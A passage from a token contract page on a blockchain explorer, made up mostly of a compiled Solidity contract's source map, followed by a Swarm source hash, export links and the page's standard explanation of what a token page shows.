64:1:::1;::::0;12280:4;;12307::::1;::::0;12327:15:::1;::::0;12166:187:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;6114:9:0;:17;;-1:-1:-1;;6114:17:0;;;-1:-1:-1;;;;11903:458:0:o;3591:246::-;3649:7;3673:1;3678;3673:6;3669:47;;-1:-1:-1;3703:1:0;3696:8;;3669:47;3726:9;3738:5;3742:1;3738;:5;:::i;:::-;3726:17;-1:-1:-1;3771:1:0;3762:5;3766:1;3726:17;3762:5;:::i;:::-;:10;3754:56;;;;-1:-1:-1;;;3754:56:0;;12831:2:1;3754:56:0;;;12813:21:1;12870:2;12850:18;;;12843:30;12909:34;12889:18;;;12882:62;-1:-1:-1;;;12960:18:1;;;12953:31;13001:19;;3754:56:0;12629:397:1;3754:56:0;3828:1;3591:246;-1:-1:-1;;;3591:246:0:o;3845:132::-;3903:7;3930:39;3934:1;3937;3930:39;;;;;;;;;;;;;;;;;:3;:39::i;11796:99::-;11853:7;11881:1;11879;:3;11878:9;;11886:1;11878:9;;;-1:-1:-1;11884:1:0;11796:99;-1:-1:-1;11796:99:0:o;3062:179::-;3120:7;;3152:5;3156:1;3152;:5;:::i;:::-;3140:17;;3181:1;3176;:6;;3168:46;;;;-1:-1:-1;;;3168:46:0;;13233:2:1;3168:46:0;;;13215:21:1;13272:2;13252:18;;;13245:30;13311:29;13291:18;;;13284:57;13358:18;;3168:46:0;13031:351:1;3249:136:0;3307:7;3334:43;3338:1;3341;3334:43;;;;;;;;;;;;;;;;;:3;:43::i;3985:189::-;4071:7;4106:12;4099:5;4091:28;;;;-1:-1:-1;;;4091:28:0;;;;;;;;:::i;:::-;-1:-1:-1;4130:9:0;4142:5;4146:1;4142;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:422;3121:1;3164:5;3121:1;3178:270;3199:7;3189:8;3186:21;3178:270;;;3258:4;3254:1;3250:6;3246:17;3240:4;3237:27;3234:53;;;3267:18;;:::i;:::-;3317:7;3307:8;3303:22;3300:55;;;3337:16;;;;3300:55;3416:22;;;;3376:15;;;;3178:270;;;3182:3;3032:422;;;;;:::o;3459:806::-;3508:5;3538:8;3528:80;;-1:-1:-1;3579:1:1;3593:5;;3528:80;3627:4;3617:76;;-1:-1:-1;3664:1:1;3678:5;;3617:76;3709:4;3727:1;3722:59;;;;3795:1;3790:130;;;;3702:218;;3722:59;3752:1;3743:10;;3766:5;;;3790:130;3827:3;3817:8;3814:17;3811:43;;;3834:18;;:::i;:::-;-1:-1:-1;;3890:1:1;3876:16;;3905:5;;3702:218;;4004:2;3994:8;3991:16;3985:3;3979:4;3976:13;3972:36;3966:2;3956:8;3953:16;3948:2;3942:4;3939:12;3935:35;3932:77;3929:159;;;-1:-1:-1;4041:19:1;;;4073:5;;3929:159;4120:34;4145:8;4139:4;4120:34;:::i;:::-;4190:6;4186:1;4182:6;4178:19;4169:7;4166:32;4163:58;;;4201:18;;:::i;:::-;4239:20;;3459:806;-1:-1:-1;;;3459:806:1:o;4270:140::-;4328:5;4357:47;4398:4;4388:8;4384:19;4378:4;4357:47;:::i;4415:168::-;4488:9;;;4519;;4536:15;;;4530:22;;4516:37;4506:71;;4557:18;;:::i;4588:356::-;4790:2;4772:21;;;4809:18;;;4802:30;4868:34;4863:2;4848:18;;4841:62;4935:2;4920:18;;4588:356::o;4949:184::-;5019:6;5072:2;5060:9;5051:7;5047:23;5043:32;5040:52;;;5088:1;5085;5078:12;5040:52;-1:-1:-1;5111:16:1;;4949:184;-1:-1:-1;4949:184:1:o;5417:277::-;5484:6;5537:2;5525:9;5516:7;5512:23;5508:32;5505:52;;;5553:1;5550;5543:12;5505:52;5585:9;5579:16;5638:5;5631:13;5624:21;5617:5;5614:32;5604:60;;5660:1;5657;5650:12;6053:251;6123:6;6176:2;6164:9;6155:7;6151:23;6147:32;6144:52;;;6192:1;6189;6182:12;6144:52;6224:9;6218:16;6243:31;6268:5;6243:31;:::i;7230:306::-;7318:6;7326;7334;7387:2;7375:9;7366:7;7362:23;7358:32;7355:52;;;7403:1;7400;7393:12;7355:52;7432:9;7426:16;7416:26;;7482:2;7471:9;7467:18;7461:25;7451:35;;7526:2;7515:9;7511:18;7505:25;7495:35;;7230:306;;;;;:::o;10404:125::-;10469:9;;;10490:10;;;10487:36;;;10503:18;;:::i;10885:135::-;10924:3;10945:17;;;10942:43;;10965:18;;:::i;:::-;-1:-1:-1;11012:1:1;11001:13;;10885:135::o;11025:128::-;11092:9;;;11113:11;;;11110:37;;;11127:18;;:::i;11290:127::-;11351:10;11346:3;11342:20;11339:1;11332:31;11382:4;11379:1;11372:15;11406:4;11403:1;11396:15;11422:980;11684:4;11732:3;11721:9;11717:19;11763:6;11752:9;11745:25;11789:2;11827:6;11822:2;11811:9;11807:18;11800:34;11870:3;11865:2;11854:9;11850:18;11843:31;11894:6;11929;11923:13;11960:6;11952;11945:22;11998:3;11987:9;11983:19;11976:26;;12037:2;12029:6;12025:15;12011:29;;12058:1;12068:195;12082:6;12079:1;12076:13;12068:195;;;12147:13;;-1:-1:-1;;;;;12143:39:1;12131:52;;12238:15;;;;12203:12;;;;12179:1;12097:9;12068:195;;;-1:-1:-1;;;;;;;12319:32:1;;;;12314:2;12299:18;;12292:60;-1:-1:-1;;;12383:3:1;12368:19;12361:35;12280:3;11422:980;-1:-1:-1;;;11422:980:1:o;12407:217::-;12447:1;12473;12463:132;;12517:10;12512:3;12508:20;12505:1;12498:31;12552:4;12549:1;12542:15;12580:4;12577:1;12570:15;12463:132;-1:-1:-1;12609:9:1;;12407:217::o

Swarm Source

ipfs://3cdaeb6e5151f6b05f786bd96ab9df1d98094477f2fc7ad1699d5f2f99a42aec
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.